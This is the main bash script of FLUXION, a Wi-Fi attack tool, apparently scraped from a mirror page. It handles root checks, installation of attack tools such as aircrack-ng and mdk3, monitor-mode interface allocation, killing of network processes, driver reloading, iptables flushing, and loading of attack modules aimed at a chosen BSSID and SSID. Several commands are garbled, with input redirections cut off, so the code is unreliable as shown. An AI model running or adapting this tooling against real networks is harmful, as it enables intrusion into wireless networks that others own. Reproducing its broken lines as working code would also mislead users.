http://sh.k7p.work/index.php?,fluxion.sh

#!/usr/bin/env bash

# ============================================================ #

# ================== < FLUXION Parameters > ================== #

# ============================================================ #

# Path to directory containing the FLUXION executable script.

readonly FLUXIONPath=$(dirname $(readlink -f "$0"))

# Path to directory containing the FLUXION library (scripts).

readonly FLUXIONLibPath="$FLUXIONPath/lib"

# Path to the temp. directory available to FLUXION & subscripts.

readonly FLUXIONWorkspacePath="/tmp/fluxspace"

readonly FLUXIONIPTablesBackup="$FLUXIONPath/iptables-rules"

# Path to FLUXION's preferences file, to be loaded afterward.

readonly FLUXIONPreferencesFile="$FLUXIONPath/preferences/preferences.conf"

# Constants denoting the reference noise floor & ceiling levels.

# These are used by the the wireless network scanner visualizer.

readonly FLUXIONNoiseFloor=-90

readonly FLUXIONNoiseCeiling=-60

readonly FLUXIONVersion=5

readonly FLUXIONRevision=9

# Declare window ration bigger = smaller windows

FLUXIONWindowRatio=4

# Allow to skip dependencies if required, not recommended

FLUXIONSkipDependencies=1

# Check if there are any missing dependencies

FLUXIONMissingDependencies=0

# Allow to use 5ghz support

FLUXIONEnable5GHZ=0

# ============================================================ #

# ================= < Script Sanity Checks > ================= #

# ============================================================ #

if [ $EUID -ne 0 ]; then # Super User Check

echo -e "\\033[31mAborted, please execute the script as root.\\033[0m"; exit 1

fi

# ===================== < XTerm Checks > ===================== #

# TODO: Run the checks below only if we're not using tmux.

if [ ! "${DISPLAY:-}" ]; then # Assure display is available.

echo -e "\\033[31mAborted, X (graphical) session unavailable.\\033[0m"; exit 2

fi

if ! hash xdpyinfo 2>/dev/null; then # Assure display probe.

echo -e "\\033[31mAborted, xdpyinfo is unavailable.\\033[0m"; exit 3

fi

if ! xdpyinfo &>/dev/null; then # Assure display info available.

echo -e "\\033[31mAborted, xterm test session failed.\\033[0m"; exit 4

fi

# ================ < Parameter Parser Check > ================ #

getopt --test > /dev/null # Assure enhanced getopt (returns 4).

if [ $? -ne 4 ]; then

echo "\\033[31mAborted, enhanced getopt isn't available.\\033[0m"; exit 5

fi

# =============== < Working Directory Check > ================ #

if ! mkdir -p "$FLUXIONWorkspacePath" &> /dev/null; then

echo "\\033[31mAborted, can't generate a workspace directory.\\033[0m"; exit 6

fi

# Once sanity check is passed, we can start to load everything.

# ============================================================ #

# =================== < Library Includes > =================== #

# ============================================================ #

source "$FLUXIONLibPath/installer/InstallerUtils.sh"

source "$FLUXIONLibPath/InterfaceUtils.sh"

source "$FLUXIONLibPath/SandboxUtils.sh"

source "$FLUXIONLibPath/FormatUtils.sh"

source "$FLUXIONLibPath/ColorUtils.sh"

source "$FLUXIONLibPath/IOUtils.sh"

source "$FLUXIONLibPath/HashUtils.sh"

source "$FLUXIONLibPath/HelpUtils.sh"

# NOTE: These are configured after arguments are loaded (later).

# ============================================================ #

# =================== < Parse Parameters > =================== #

# ============================================================ #

if ! FLUXIONCLIArguments=$(

getopt --options="vdk5rinmtbhe:c:l:a:r" \

--longoptions="debug,version,killer,5ghz,installer,reloader,help,airmon-ng,multiplexer,target,test,auto,bssid:,essid:,channel:,language:,attack:,ratio,skip-dependencies" \

--name="FLUXION V$FLUXIONVersion.$FLUXIONRevision" -- "$@"

); then

echo -e "${CRed}Aborted$CClr, parameter error detected..."; exit 5

fi

AttackCLIArguments=${FLUXIONCLIArguments##* -- }

readonly FLUXIONCLIArguments=${FLUXIONCLIArguments%%-- *}

if [ "$AttackCLIArguments" = "$FLUXIONCLIArguments" ]; then

AttackCLIArguments=""

fi

# ============================================================ #

# ================== < Load Configurables > ================== #

# ============================================================ #

# ============= < Argument Loaded Configurables > ============ #

eval set -- "$FLUXIONCLIArguments" # Set environment parameters.

#[ "$1" != "--" ] && readonly FLUXIONAuto=1 # Auto-mode if using CLI.

while [ "$1" != "" ] && [ "$1" != "--" ]; do

case "$1" in

-v|--version) echo "FLUXION V$FLUXIONVersion.$FLUXIONRevision"; exit;;

-h|--help) fluxion_help; exit;;

-d|--debug) readonly FLUXIONDebug=1;;

-k|--killer) readonly FLUXIONWIKillProcesses=1;;

-5|--5ghz) FLUXIONEnable5GHZ=1;;

-r|--reloader) readonly FLUXIONWIReloadDriver=1;;

-n|--airmon-ng) readonly FLUXIONAirmonNG=1;;

-m|--multiplexer) readonly FLUXIONTMux=1;;

-b|--bssid) FluxionTargetMAC=$2; shift;;

-e|--essid) FluxionTargetSSID=$2; shift;

# TODO: Rearrange declarations to have routines available for use here.

FluxionTargetSSIDClean=$(echo "$FluxionTargetSSID" | sed -r 's/( |\/|\.|\~|\\)+/_/g'); shift;;

-c|--channel) FluxionTargetChannel=$2; shift;;

-l|--language) FluxionLanguage=$2; shift;;

-a|--attack) FluxionAttack=$2; shift;;

-i|--install) FLUXIONSkipDependencies=0; shift;;

--ratio) FLUXIONWindowRatio=$2; shift;;

--auto) readonly FLUXIONAuto=1;;

--skip-dependencies) readonly FLUXIONSkipDependencies=1;;

esac

shift # Shift new parameters

done

shift # Remove "--" to prepare for attacks to read parameters.

# Executable arguments are handled after subroutine definition.

# =================== < User Preferences > =================== #

# Load user-defined preferences if there's an executable script.

# If no script exists, prepare one for the user to store config.

# WARNING: Preferences file must assure no redeclared constants.

if [ -x "$FLUXIONPreferencesFile" ]; then

source "$FLUXIONPreferencesFile"

else

echo '#!/usr/bin/env bash' > "$FLUXIONPreferencesFile"

chmod u+x "$FLUXIONPreferencesFile"

fi

# ================ < Configurable Constants > ================ #

if [ "$FLUXIONAuto" != "1" ]; then # If defined, assure 1.

readonly FLUXIONAuto=${FLUXIONAuto:+1}

fi

if [ "$FLUXIONDebug" != "1" ]; then # If defined, assure 1.

readonly FLUXIONDebug=${FLUXIONDebug:+1}

fi

if [ "$FLUXIONAirmonNG" != "1" ]; then # If defined, assure 1.

readonly FLUXIONAirmonNG=${FLUXIONAirmonNG:+1}

fi

if [ "$FLUXIONWIKillProcesses" != "1" ]; then # If defined, assure 1.

readonly FLUXIONWIKillProcesses=${FLUXIONWIKillProcesses:+1}

fi

if [ "$FLUXIONWIReloadDriver" != "1" ]; then # If defined, assure 1.

readonly FLUXIONWIReloadDriver=${FLUXIONWIReloadDriver:+1}

fi

# FLUXIONDebug [Normal Mode "" / Developer Mode 1]

if [ $FLUXIONDebug ]; then

:> /tmp/fluxion_debug_log

readonly FLUXIONOutputDevice="/tmp/fluxion_debug_log"

readonly FLUXIONHoldXterm="-hold"

else

readonly FLUXIONOutputDevice="/dev/null"

readonly FLUXIONHoldXterm=""

fi

# ================ < Configurable Variables > ================ #

readonly FLUXIONPromptDefault="$CRed[${CSBlu}fluxion$CSYel@$CSWht$HOSTNAME$CClr$CRed]-[$CSYel~$CClr$CRed]$CClr "

FLUXIONPrompt=$FLUXIONPromptDefault

readonly FLUXIONVLineDefault="$CRed[$CSYel*$CClr$CRed]$CClr"

FLUXIONVLine=$FLUXIONVLineDefault

# ================== < Library Parameters > ================== #

readonly InterfaceUtilsOutputDevice="$FLUXIONOutputDevice"

readonly SandboxWorkspacePath="$FLUXIONWorkspacePath"

readonly SandboxOutputDevice="$FLUXIONOutputDevice"

readonly InstallerUtilsWorkspacePath="$FLUXIONWorkspacePath"

readonly InstallerUtilsOutputDevice="$FLUXIONOutputDevice"

readonly InstallerUtilsNoticeMark="$FLUXIONVLine"

readonly PackageManagerLog="$InstallerUtilsWorkspacePath/package_manager.log"

declare IOUtilsHeader="fluxion_header"

readonly IOUtilsQueryMark="$FLUXIONVLine"

readonly IOUtilsPrompt="$FLUXIONPrompt"

readonly HashOutputDevice="$FLUXIONOutputDevice"

# ============================================================ #

# =================== < Default Language > =================== #

# ============================================================ #

# Set by default in case fluxion is aborted before setting one.

source "$FLUXIONPath/language/en.sh"

# ============================================================ #

# ================== < Startup & Shutdown > ================== #

# ============================================================ #

fluxion_startup() {

if [ "$FLUXIONDebug" ]; then return 1; fi

# Make sure that we save the iptable files

iptables-save >"$FLUXIONIPTablesBackup"

local banner=()

format_center_literals \

" ⌠▓▒▓▒ ⌠▓╗ ⌠█┐ ┌█ ┌▓\ /▓┐ ⌠▓╖ ⌠◙▒▓▒◙ ⌠█\ ☒┐"

banner+=("$FormatCenterLiterals")

format_center_literals \

" ║▒_ │▒║ │▒║ ║▒ \▒\/▒/ │☢╫ │▒┌╤┐▒ ║▓▒\ ▓║"

banner+=("$FormatCenterLiterals")

format_center_literals \

" ≡◙◙ ║◙║ ║◙║ ║◙ ◙◙ ║¤▒ ║▓║☯║▓ ♜◙\✪\◙♜"

banner+=("$FormatCenterLiterals")

format_center_literals \

" ║▒ │▒║__ │▒└_┘▒ /▒/\▒\ │☢╫ │▒└╧┘▒ ║█ \▒█║"

banner+=("$FormatCenterLiterals")

format_center_literals \

" ⌡▓ ⌡◘▒▓▒ ⌡◘▒▓▒◘ └▓/ \▓┘ ⌡▓╝ ⌡◙▒▓▒◙ ⌡▓ \▓┘"

banner+=("$FormatCenterLiterals")

format_center_literals \

"¯¯¯ ¯¯¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯ ¯¯¯ ¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯¯¯¯¯¯"

banner+=("$FormatCenterLiterals")

clear

if [ "$FLUXIONAuto" ]; then echo -e "$CBlu"; else echo -e "$CRed"; fi

for line in "${banner[@]}"; do

echo "$line"; sleep 0.05

done

echo # Do not remove.

sleep 0.1

local -r fluxionRepository="https://github.com/FluxionNetwork/fluxion"

format_center_literals "${CGrn}Site: ${CRed}$fluxionRepository$CClr"

echo -e "$FormatCenterLiterals"

sleep 0.1

local -r versionInfo="${CSRed}FLUXION $FLUXIONVersion$CClr"

local -r revisionInfo="(rev. $CSBlu$FLUXIONRevision$CClr)"

local -r credits="by$CCyn FluxionNetwork$CClr"

format_center_literals "$versionInfo $revisionInfo $credits"

echo -e "$FormatCenterLiterals"

sleep 0.1

local -r fluxionDomain="raw.githubusercontent.com"

local -r fluxionPath="FluxionNetwork/fluxion/master/fluxion.sh"

local -r updateDomain="github.com"

local -r updatePath="FluxionNetwork/fluxion/archive/master.zip"

if installer_utils_check_update "https://$fluxionDomain/$fluxionPath" \

"FLUXIONVersion=" "FLUXIONRevision=" \

$FLUXIONVersion $FLUXIONRevision; then

installer_utils_run_update "https://$updateDomain/$updatePath" \

"FLUXION-V$FLUXIONVersion.$FLUXIONRevision" "$FLUXIONPath"

fluxion_shutdown

fi

echo # Do not remove.

local requiredCLITools=(

"aircrack-ng" "bc" "awk:awk|gawk|mawk"

"curl" "cowpatty" "dhcpd:isc-dhcp-server|dhcp" "7zr:p7zip" "hostapd" "lighttpd"

"iwconfig:wireless-tools" "macchanger" "mdk3" "nmap" "openssl"

"php-cgi" "pyrit" "xterm" "rfkill" "unzip" "route:net-tools"

"fuser:psmisc" "killall:psmisc"

)

while ! installer_utils_check_dependencies requiredCLITools[@]; do

if ! installer_utils_run_dependencies InstallerUtilsCheckDependencies[@]; then

echo

echo -e "${CRed}Dependency installation failed!$CClr"

echo "Press enter to retry, ctrl+c to exit..."

read -r bullshit

fi

done

if [ $FLUXIONMissingDependencies -eq 1 ] && [ $FLUXIONSkipDependencies -eq 1 ];then

echo -e "\n\n"

format_center_literals "[ ${CSRed}Missing dependencies: try to install using ./fluxion.sh -i${CClr} ]"

echo -e "$FormatCenterLiterals"; sleep 3

exit 7

fi

echo -e "\\n\\n" # This echo is for spacing

}

fluxion_shutdown() {

if [ $FLUXIONDebug ]; then return 1; fi

# Show the header if the subroutine has already been loaded.

if type -t fluxion_header &> /dev/null; then

fluxion_header

fi

echo -e "$CWht[$CRed-$CWht]$CRed $FLUXIONCleanupAndClosingNotice$CClr"

# Get running processes we might have to kill before exiting.

local processes

readarray processes <

# Currently, fluxion is only responsible for killing airodump-ng, since

# fluxion explicitly uses it to scan for candidate target access points.

# NOTICE: Processes started by subscripts, such as an attack script,

# MUST BE TERMINATED BY THAT SCRIPT in the subscript's abort handler.

local -r targets=("airodump-ng")

local targetID # Program identifier/title

for targetID in "${targets[@]}"; do

# Get PIDs of all programs matching targetPID

local targetPID

targetPID=$(

echo "${processes[@]}" | awk '$4~/'"$targetID"'/{print $1}'

)

if [ ! "$targetPID" ]; then continue; fi

echo -e "$CWht[$CRed-$CWht] `io_dynamic_output $FLUXIONKillingProcessNotice`"

kill -s SIGKILL $targetPID &> $FLUXIONOutputDevice

done

# Assure changes are reverted if installer was activated.

if [ "$PackageManagerCLT" ]; then

echo -e "$CWht[$CRed-$CWht] "$(

io_dynamic_output "$FLUXIONRestoringPackageManagerNotice"

)"$CClr"

# Notice: The package manager has already been restored at this point.

# InstallerUtils assures the manager is restored after running operations.

fi

# If allocated interfaces exist, deallocate them now.

if [ ${#FluxionInterfaces[@]} -gt 0 ]; then

local interface

for interface in "${!FluxionInterfaces[@]}"; do

# Only deallocate fluxion or airmon-ng created interfaces.

if [[ "$interface" == "flux"* || "$interface" == *"mon"* || "$interface" == "prism"* ]]; then

fluxion_deallocate_interface $interface

fi

done

fi

echo -e "$CWht[$CRed-$CWht] $FLUXIONDisablingCleaningIPTablesNotice$CClr"

if [ -f "$FLUXIONIPTablesBackup" ]; then

iptables-restore

&> $FLUXIONOutputDevice

else

iptables --flush

iptables --table nat --flush

iptables --delete-chain

iptables --table nat --delete-chain

fi

echo -e "$CWht[$CRed-$CWht] $FLUXIONRestoringTputNotice$CClr"

tput cnorm

if [ ! $FLUXIONDebug ]; then

echo -e "$CWht[$CRed-$CWht] $FLUXIONDeletingFilesNotice$CClr"

sandbox_remove_workfile "$FLUXIONWorkspacePath/*"

fi

if [ $FLUXIONWIKillProcesses ]; then

echo -e "$CWht[$CRed-$CWht] $FLUXIONRestartingNetworkManagerNotice$CClr"

# TODO: Add support for other network managers (wpa_supplicant?).

if [ ! -x "$(command -v systemctl)" ]; then

if [ -x "$(command -v service)" ];then

service network-manager restart &> $FLUXIONOutputDevice &

service networkmanager restart &> $FLUXIONOutputDevice &

service networking restart &> $FLUXIONOutputDevice &

fi

else

systemctl restart network-manager.service &> $FLUXIONOutputDevice &

fi

fi

echo -e "$CWht[$CGrn+$CWht] $CGrn$FLUXIONCleanupSuccessNotice$CClr"

echo -e "$CWht[$CGrn+$CWht] $CGry$FLUXIONThanksSupportersNotice$CClr"

sleep 3

clear

exit 0

}

# ============================================================ #

# ================= < Handler Subroutines > ================== #

# ============================================================ #

# Delete log only in Normal Mode !

fluxion_conditional_clear() {

# Clear iff we're not in debug mode

if [ ! $FLUXIONDebug ]; then clear; fi

}

fluxion_conditional_bail() {

echo ${1:-"Something went wrong, whoops! (report this)"}

sleep 5

if [ ! $FLUXIONDebug ]; then

fluxion_handle_exit

return 1

fi

echo "Press any key to continue execution..."

read -r bullshit

}

# ERROR Report only in Developer Mode

if [ $FLUXIONDebug ]; then

fluxion_error_report() {

echo "Exception caught @ line #$1"

}

trap 'fluxion_error_report $LINENO' ERR

fi

fluxion_handle_abort_attack() {

if [ $(type -t stop_attack) ]; then

stop_attack &> $FLUXIONOutputDevice

unprep_attack &> $FLUXIONOutputDevice

else

echo "Attack undefined, can't stop anything..." > $FLUXIONOutputDevice

fi

fluxion_target_tracker_stop

}

# In case of abort signal, abort any attacks currently running.

trap fluxion_handle_abort_attack SIGABRT

fluxion_handle_exit() {

fluxion_handle_abort_attack

fluxion_shutdown

exit 1

}

# In case of unexpected termination, run fluxion_shutdown.

trap fluxion_handle_exit SIGINT SIGHUP

fluxion_handle_target_change() {

echo "Target change signal received!" > $FLUXIONOutputDevice

local targetInfo

readarray -t targetInfo <

FluxionTargetMAC=${targetInfo[0]}

FluxionTargetSSID=${targetInfo[1]}

FluxionTargetChannel=${targetInfo[2]}

FluxionTargetSSIDClean=$(fluxion_target_normalize_SSID)

if ! stop_attack; then

fluxion_conditional_bail "Target tracker failed to stop attack."

fi

if ! unprep_attack; then

fluxion_conditional_bail "Target tracker failed to unprep attack."

fi

if ! load_attack "$FLUXIONPath/attacks/$FluxionAttack/attack.conf"; then

fluxion_conditional_bail "Target tracker failed to load attack."

fi

if ! prep_attack; then

fluxion_conditional_bail "Target tracker failed to prep attack."

fi

if ! fluxion_run_attack; then

fluxion_conditional_bail "Target tracker failed to start attack."

fi

}

# If target monitoring enabled, act on changes.

trap fluxion_handle_target_change SIGALRM

# ============================================================ #

# =============== < Resolution & Positioning > =============== #

# ============================================================ #

fluxion_set_resolution() { # Windows + Resolution

# Get dimensions

# Verify this works on Kali before commiting.

# shopt -s checkwinsize; (:;:)

# SCREEN_SIZE_X="$LINES"

# SCREEN_SIZE_Y="$COLUMNS"

SCREEN_SIZE=$(xdpyinfo | grep dimension | awk '{print $4}' | tr -d "(")

SCREEN_SIZE_X=$(printf '%.*f\n' 0 $(echo $SCREEN_SIZE | sed -e s'/x/ /'g | awk '{print $1}'))

SCREEN_SIZE_Y=$(printf '%.*f\n' 0 $(echo $SCREEN_SIZE | sed -e s'/x/ /'g | awk '{print $2}'))

# Calculate proportional windows

if hash bc ;then

PROPOTION=$(echo $(awk "BEGIN {print $SCREEN_SIZE_X/$SCREEN_SIZE_Y}")/1 | bc)

NEW_SCREEN_SIZE_X=$(echo $(awk "BEGIN {print $SCREEN_SIZE_X/$FLUXIONWindowRatio}")/1 | bc)

NEW_SCREEN_SIZE_Y=$(echo $(awk "BEGIN {print $SCREEN_SIZE_Y/$FLUXIONWindowRatio}")/1 | bc)

NEW_SCREEN_SIZE_BIG_X=$(echo $(awk "BEGIN {print 1.5*$SCREEN_SIZE_X/$FLUXIONWindowRatio}")/1 | bc)

NEW_SCREEN_SIZE_BIG_Y=$(echo $(awk "BEGIN {print 1.5*$SCREEN_SIZE_Y/$FLUXIONWindowRatio}")/1 | bc)

SCREEN_SIZE_MID_X=$(echo $(($SCREEN_SIZE_X + ($SCREEN_SIZE_X - 2 * $NEW_SCREEN_SIZE_X) / 2)))

SCREEN_SIZE_MID_Y=$(echo $(($SCREEN_SIZE_Y + ($SCREEN_SIZE_Y - 2 * $NEW_SCREEN_SIZE_Y) / 2)))

# Upper windows

TOPLEFT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+0+0"

TOPRIGHT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y-0+0"

TOP="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+$SCREEN_SIZE_MID_X+0"

# Lower windows

BOTTOMLEFT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+0-0"

BOTTOMRIGHT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y-0-0"

BOTTOM="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+$SCREEN_SIZE_MID_X-0"

# Y mid

LEFT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+0-$SCREEN_SIZE_MID_Y"

RIGHT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y-0+$SCREEN_SIZE_MID_Y"

# Big

TOPLEFTBIG="-geometry $NEW_SCREEN_SIZE_BIG_Xx$NEW_SCREEN_SIZE_BIG_Y+0+0"

TOPRIGHTBIG="-geometry $NEW_SCREEN_SIZE_BIG_Xx$NEW_SCREEN_SIZE_BIG_Y-0+0"

fi

}

# ============================================================ #

# ================= < Sequencing Framework > ================= #

# ============================================================ #

# The following lists some problems with the framework's design.

# The list below is a list of DESIGN FLAWS, not framework bugs.

# * Sequenced undo instructions' return value is being ignored.

# * A global is generated for every new namespace being used.

# * It uses eval too much, but it's bash, so that's not so bad.

# TODO: Try to fix this or come up with a better alternative.

declare -rA FLUXIONUndoable=( \

["set"]="unset" \

["prep"]="unprep" \

["run"]="halt" \

["start"]="stop" \

)

# Yes, I know, the identifiers are fucking ugly. If only we had

# some type of mangling with bash identifiers, that'd be great.

fluxion_do() {

if [ ${#@} -lt 2 ]; then return -1; fi

local -r __fluxion_do__namespace=$1

local -r __fluxion_do__identifier=$2

# Notice, the instruction will be adde to the Do Log

# regardless of whether it succeeded or failed to execute.

eval FXDLog_$__fluxion_do__namespace+=\("$__fluxion_do__identifier"\)

eval ${__fluxion_do__namespace}_$__fluxion_do__identifier "${@:3}"

return $?

}

fluxion_undo() {

if [ ${#@} -ne 1 ]; then return -1; fi

local -r __fluxion_undo__namespace=$1

# Removed read-only due to local constant shadowing bug.

# I've reported the bug, we can add it when fixed.

eval local __fluxion_undo__history=\("\${FXDLog_$__fluxion_undo__namespace[@]}"\)

eval echo \$\{FXDLog_$__fluxion_undo__namespace[@]\} \

> $FLUXIONOutputDevice

local __fluxion_undo__i

for (( __fluxion_undo__i=${#__fluxion_undo__history[@]}; \

__fluxion_undo__i > 0; __fluxion_undo__i-- )); do

local __fluxion_undo__instruction=${__fluxion_undo__history[__fluxion_undo__i-1]}

local __fluxion_undo__command=${__fluxion_undo__instruction%%_*}

local __fluxion_undo__identifier=${__fluxion_undo__instruction#*_}

echo "Do ${FLUXIONUndoable["$__fluxion_undo__command"]}_$__fluxion_undo__identifier" \

> $FLUXIONOutputDevice

if eval ${__fluxion_undo__namespace}_${FLUXIONUndoable["$__fluxion_undo__command"]}_$__fluxion_undo__identifier; then

echo "Undo-chain succeded." > $FLUXIONOutputDevice

eval FXDLog_$__fluxion_undo__namespace=\("${__fluxion_undo__history[@]::$__fluxion_undo__i}"\)

eval echo History\: \$\{FXDLog_$__fluxion_undo__namespace[@]\} \

> $FLUXIONOutputDevice

return 0

fi

done

return -2 # The undo-chain failed.

}

fluxion_done() {

if [ ${#@} -ne 1 ]; then return -1; fi

local -r __fluxion_done__namespace=$1

eval "FluxionDone=\${FXDLog_$__fluxion_done__namespace[-1]}"

if [ ! "$FluxionDone" ]; then return 1; fi

}

fluxion_done_reset() {

if [ ${#@} -ne 1 ]; then return -1; fi

local -r __fluxion_done_reset__namespace=$1

eval FXDLog_$__fluxion_done_reset__namespace=\(\)

}

fluxion_do_sequence() {

if [ ${#@} -ne 2 ]; then return 1; fi

# TODO: Implement an alternative, better method of doing

# what this subroutine does, maybe using for-loop iteFLUXIONWindowRation.

# The for-loop implementation must support the subroutines

# defined above, including updating the namespace tracker.

local -r __fluxion_do_sequence__namespace=$1

# Removed read-only due to local constant shadowing bug.

# I've reported the bug, we can add it when fixed.

local __fluxion_do_sequence__sequence=("${!2}")

if [ ${#__fluxion_do_sequence__sequence[@]} -eq 0 ]; then

return -2

fi

local -A __fluxion_do_sequence__index=()

local i

for i in $(seq 0 $((${#__fluxion_do_sequence__sequence[@]} - 1))); do

__fluxion_do_sequence__index["${__fluxion_do_sequence__sequence[i]}"]=$i

done

# Start sequence with the first instruction available.

local __fluxion_do_sequence__instructionIndex=0

local __fluxion_do_sequence__instruction=${__fluxion_do_sequence__sequence[0]}

while [ "$__fluxion_do_sequence__instruction" ]; do

if ! fluxion_do $__fluxion_do_sequence__namespace $__fluxion_do_sequence__instruction; then

if ! fluxion_undo $__fluxion_do_sequence__namespace; then

return -2

fi

# Synchronize the current instruction's index by checking last.

if ! fluxion_done $__fluxion_do_sequence__namespace; then

return -3;

fi

__fluxion_do_sequence__instructionIndex=${__fluxion_do_sequence__index["$FluxionDone"]}

if [ ! "$__fluxion_do_sequence__instructionIndex" ]; then

return -4

fi

else

let __fluxion_do_sequence__instructionIndex++

fi

__fluxion_do_sequence__instruction=${__fluxion_do_sequence__sequence[$__fluxion_do_sequence__instructionIndex]}

echo "Running next: $__fluxion_do_sequence__instruction" \

> $FLUXIONOutputDevice

done

}

# ============================================================ #

# ================= < Load All Subroutines > ================= #

# ============================================================ #

fluxion_header() {

format_apply_autosize "[%*s]\n"

local verticalBorder=$FormatApplyAutosize

format_apply_autosize "[%*s${CSRed}FLUXION $FLUXIONVersion${CSWht}.${CSBlu}$FLUXIONRevision$CSRed %*s$CSBlu]\n"

local headerTextFormat="$FormatApplyAutosize"

fluxion_conditional_clear

echo -e "$(printf "$CSRed$verticalBorder" "" | sed -r "s/ /~/g")"

printf "$CSRed$verticalBorder" ""

printf "$headerTextFormat" "" ""

printf "$CSBlu$verticalBorder" ""

echo -e "$(printf "$CSBlu$verticalBorder" "" | sed -r "s/ /~/g")$CClr"

echo

echo

}

# ======================= < Language > ======================= #

fluxion_unset_language() {

FluxionLanguage=""

if [ "$FLUXIONPreferencesFile" ]; then

sed -i.backup "/FluxionLanguage=.\+/ d" "$FLUXIONPreferencesFile"

fi

}

fluxion_set_language() {

if [ ! "$FluxionLanguage" ]; then

# Get all languages available.

local languageCodes

readarray -t languageCodes <

local languages

readarray -t languages <

head -n 3 language/*.sh |

grep -E "^# native: " |

sed -E 's/# \w+: //'

)

io_query_format_fields "$FLUXIONVLine Select your language" \

"\t$CRed[$CSYel%d$CClr$CRed]$CClr %s / %s\n" \

languageCodes[@] languages[@]

FluxionLanguage=${IOQueryFormatFields[0]}

echo # Do not remove.

fi

# Check if all language files are present for the selected language.

find -type d -name language | while read language_dir; do

if [ ! -e "$language_dir/${FluxionLanguage}.sh" ]; then

echo -e "$FLUXIONVLine ${CYel}Warning${CClr}, missing language file:"

echo -e "\t$language_dir/${FluxionLanguage}.sh"

return 1

fi

done

if [ $? -eq 1 ]; then # If a file is missing, fall back to english.

echo -e "\n\n$FLUXIONVLine Falling back to English..."; sleep 5

FluxionLanguage="en"

fi

source "$FLUXIONPath/language/$FluxionLanguage.sh"

if [ "$FLUXIONPreferencesFile" ]; then

if more $FLUXIONPreferencesFile | \

grep -q "FluxionLanguage=.\+" &> /dev/null; then

sed -r "s/FluxionLanguage=.+/FluxionLanguage=$FluxionLanguage/g" \

-i.backup "$FLUXIONPreferencesFile"

else

echo "FluxionLanguage=$FluxionLanguage" >> "$FLUXIONPreferencesFile"

fi

fi

}

# ====================== < Interfaces > ====================== #

declare -A FluxionInterfaces=() # Global interfaces' registry.

fluxion_deallocate_interface() { # Release interfaces

if [ ! "$1" ] || ! interface_is_real $1; then return 1; fi

local -r oldIdentifier=$1

local -r newIdentifier=${FluxionInterfaces[$oldIdentifier]}

# Assure the interface is in the allocation table.

if [ ! "$newIdentifier" ]; then return 2; fi

local interfaceIdentifier=$newIdentifier

echo -e "$CWht[$CSRed-$CWht] "$(

io_dynamic_output "$FLUXIONDeallocatingInterfaceNotice"

)"$CClr"

if interface_is_wireless $oldIdentifier; then

# If interface was allocated by airmon-ng, deallocate with it.

if [[ "$oldIdentifier" == *"mon"* || "$oldIdentifier" == "prism"* ]]; then

if ! airmon-ng stop $oldIdentifier &> $FLUXIONOutputDevice; then

return 4

fi

else

# Attempt deactivating monitor mode on the interface.

if ! interface_set_mode $oldIdentifier managed; then

return 3

fi

# Attempt to restore the original interface identifier.

if ! interface_reidentify "$oldIdentifier" "$newIdentifier"; then

return 5

fi

fi

fi

# Once successfully renamed, remove from allocation table.

unset FluxionInterfaces[$oldIdentifier]

unset FluxionInterfaces[$newIdentifier]

}

# Parameters:

# ------------------------------------------------------------ #

# Return 1: No interface identifier was passed.

# Return 2: Interface identifier given points to no interface.

# Return 3: Unable to determine interface's driver.

# Return 4: Fluxion failed to reidentify interface.

# Return 5: Interface allocation failed (identifier missing).

fluxion_allocate_interface() { # Reserve interfaces

if [ ! "$1" ]; then return 1; fi

local -r identifier=$1

# If the interface is already in allocation table, we're done.

if [ "${FluxionInterfaces[$identifier]+x}" ]; then

return 0

fi

if ! interface_is_real $identifier; then return 2; fi

local interfaceIdentifier=$identifier

echo -e "$CWht[$CSGrn+$CWht] "$(

io_dynamic_output "$FLUXIONAllocatingInterfaceNotice"

)"$CClr"

if interface_is_wireless $identifier; then

# Unblock wireless interfaces to make them available.

echo -e "$FLUXIONVLine $FLUXIONUnblockingWINotice"

rfkill unblock all &> $FLUXIONOutputDevice

if [ "$FLUXIONWIReloadDriver" ]; then

# Get selected interface's driver details/info-descriptor.

echo -e "$FLUXIONVLine $FLUXIONGatheringWIInfoNotice"

if ! interface_driver "$identifier"; then

echo -e "$FLUXIONVLine$CRed $FLUXIONUnknownWIDriverError"

sleep 3

return 3

fi

# Notice: This local is function-scoped, not block-scoped.

local -r driver="$InterfaceDriver"

# Unload the driver module from the kernel.

rmmod -f $driver &> $FLUXIONOutputDevice

# Wait while interface becomes unavailable.

echo -e "$FLUXIONVLine "$(

io_dynamic_output $FLUXIONUnloadingWIDriverNotice

)

while interface_physical "$identifier"; do

sleep 1

done

fi

if [ "$FLUXIONWIKillProcesses" ]; then

# Get list of potentially troublesome programs.

echo -e "$FLUXIONVLine $FLUXIONFindingConflictingProcessesNotice"

# Kill potentially troublesome programs.

echo -e "$FLUXIONVLine $FLUXIONKillingConflictingProcessesNotice"

# TODO: Make the loop below airmon-ng independent.

# Maybe replace it with a list of network-managers?

# WARNING: Version differences could break code below.

for program in "$(airmon-ng check | awk 'NR>6{print $2}')"; do

killall "$program" &> $FLUXIONOutputDevice

done

fi

if [ "$FLUXIONWIReloadDriver" ]; then

# Reload the driver module into the kernel.

modprobe "$driver" &> $FLUXIONOutputDevice

# Wait while interface becomes available.

echo -e "$FLUXIONVLine "$(

io_dynamic_output $FLUXIONLoadingWIDriverNotice

)

while ! interface_physical "$identifier"; do

sleep 1

done

fi

# Set wireless flag to prevent having to re-query.

local -r allocatingWirelessInterface=1

fi

# If we're using the interface library, reidentify now.

# If usuing airmon-ng, let airmon-ng rename the interface.

if [ ! $FLUXIONAirmonNG ]; then

echo -e "$FLUXIONVLine $FLUXIONReidentifyingInterface"

# Prevent interface-snatching by renaming the interface.

if [ $allocatingWirelessInterface ]; then

# Get next wireless interface to add to FluxionInterfaces global.

fluxion_next_assignable_interface fluxwl

else

# Get next ethernet interface to add to FluxionInterfaces global.

fluxion_next_assignable_interface fluxet

fi

interface_reidentify $identifier $FluxionNextAssignableInterface

